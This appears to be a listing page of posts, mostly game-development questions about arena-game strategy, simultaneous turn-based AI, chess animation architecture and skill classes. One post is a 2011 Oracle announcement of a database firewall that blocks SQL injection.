  I am writing the player's behavior for an arena game, and I'm wondering if you could offer some strategies. I'm writing it in Python, but I'm just interested in the high level game play. Here are the game aspects: Arena is a circle of a given size. The arena's size shrinks every round to help break any ties. Players are much smaller circles, and can be on teams of 1 or 2 players. Players attack by colliding with other players, and based on the physics of the collision (speed of both players, angle), one could force another player out of the arena. Once a player is out of the arena, they are out of the game (for that round). The goal is to be on the only team with players left in the arena. All other players have been pushed (through collisions or mistakes) out of the arena. It is possible for there to be no winner if the last two players exit the arena at the same time. Once the player has been programmed, the game just runs. There is no human intervention in the game. I'm thinking it's easiest to implement a few simple programmatic rules for my player to follow. For example, stay close to center of the arena, attack opponents from the inner side of the arena, etc. Are there any good simple game strategies? Would adding a random aspect to the game help? For example, to avoid predictability by the other team or something. Thanks in advance.

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• Oracle Inroduces a New Line of Defense for Databases

  - by roxana.bradescu

  Today at the 2011 RSA Conference, we announced the immediate availability of our new Oracle Database Firewall, the latest addition to a comprehensive portfolio of database security solutions. Oracle Database Firewall is a network-based software solution that monitors database traffic, and can detect and block SQL injection and other attacks from reaching Oracle and non-Oracle databases. According to the 2010 Verizon Data Breach Investigations Report, SQL injection attacks against databases are responsible for 89% of all breached data. SQL injection attacks are a technique for controlling responses from the database server through applications. This attack exploits the inherent trust between application layer and the back-end database. Previously the only way organizations had to safeguard against SQL injection attacks was a complete overhaul of their application code. Obviously a very costly, complex, and often impossible undertaking for most organizations. Enter the new Oracle Database Firewall. It can help prevent SQL injection attacks by establishing a defensive perimeter around your databases. The Oracle Database Firewall uses an innovative SQL grammar analysis to inspect the database traffic against pre-defined policies. Normal expected traffic is allowed to pass (and can be optionally logged to demonstrate regulatory compliance), ensuring no false positives or disruption to your business. SQL statements that are explicitly forbidden or unknown SQL statements can either pass, be logged, alert, block or be substitute with pre-defined SQL statements. Being able to substitute an unknown potentially harmful SQL statement with a harmless statement is especially powerful since it foils an attack while allowing the application to operate normally and preventing DoS attacks. So, if you're at RSA, stop by our booth or attend the session with Steve Moyle, Oracle Database Firewall CTO. Or if you want to learn more immediately, please watch our on-demand webcast and download the new Oracle Database Firewall Resource Kit with everything you need to get started today.

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• Simultaneous AI in turn based games

  - by Eduard Strehlau

  I want to hack together a roguelike. Now I thought about entity and world representation and got to a quite big problem. If you want all the AI to act simultaneously you would normally(in cellular automa for examble) just copy the cell buffer and let all action of indiviual cells depend on the copy. Actions which are not valid anymore after some cell before the cell you are currently operating on changed the original enviourment(blocking the path) are just ignored or reapplied with the "current"(between turns) environment. After all cells have acted you copy the current map to the buffer again. Now for an environment with complex AI and big(datawise) entities the copying would take too long. So I thought you could put every action and entity makes into a que(make no changes to the environment) and execute the whole que after everyone took their move. Every interaction on this que are realy interacting entities, so if a entity tries to attack another entity it sends a message to it, the consequences of the attack would be visible next turn, either by just examining the entity or asking the entity for data. This would remove problems like what happens if an entity dies middle in the cue but got actions or is messaged later on(all messages would go to null, and the messages from the entity would either just be sent or deleted(haven't decided yet) But what would happen if a monster spawns a fireball which by itself tracks the player(in the same turn). Should I add the fireball to the enviourment beforehand, so make a change to the environment before executing the action list or just add the ball to the "need updated" list as a special case so it doesn't exist in the environment and still operates on it, spawing after evaluating the action list? Are there any solutions or papers on this subject which I can take a look at? EDIT: I don't need information on writing a roguelike I need information on turn based ai in respective to a complex enviourment.

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• Keeping game model and graphics/animation separate but in sync

  - by AJM

  Suppose I'm building a chess game where I want to have animations. Pieces glide to their new squares when moved. Pieces perform attack animations when capturing other pieces. I'm not sure how to effectively separate the data and logic needed for these animations and the actual game model (in the MVC sense). The pieces themselves should ideally not have to worry about their pixel coordinates or current animation frame. At the same time, many changes to the model are effectively driven by animations. A moved piece changes its position after (before?) its sprite is done gliding. A piece is removed from the board after the capturing piece is finished its attack animation. How would you suggest I manage the game model, the graphics and animations, and their relationships? For example, where would the animations "live"? How would animations be created and managed in response to player moves? How would animations drive updates to the game model, or how would the game model drive animations?

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• Reusable skill class structure

  - by Martino Wullems

  Hello, Pretty new to the whole game development scene, but I have experience in other branches of programming. Anyway, I was wondering what methods are used to implement a skill structure. I imagine a skill in itself would a class. I'm using actionscript 3 for this project btw. public class Skill { public var power:int; public var delay:int; public var cooldown:int; public function Attack(user:Mob, target:Mob) { } } } Each skill would extend the Skill class and add it's own functionality. public class Tackle extends Skill { public function Tackle(user:Mob, target:Mob) { super(user, target); executeAttack(); } private function executeAttack():void { //multiply user.strength with power etc //play attack animation } } } This where I get stuck. How do I termine which mobs has which skills? And which skill will they later be able to retrieve (by reaching a certain level etc). How does the player actually execute the skill and how is it determine if it hits. It's all very new to me so I have no idea where to begin. Any links would also be appreciated. Thanks in advance.

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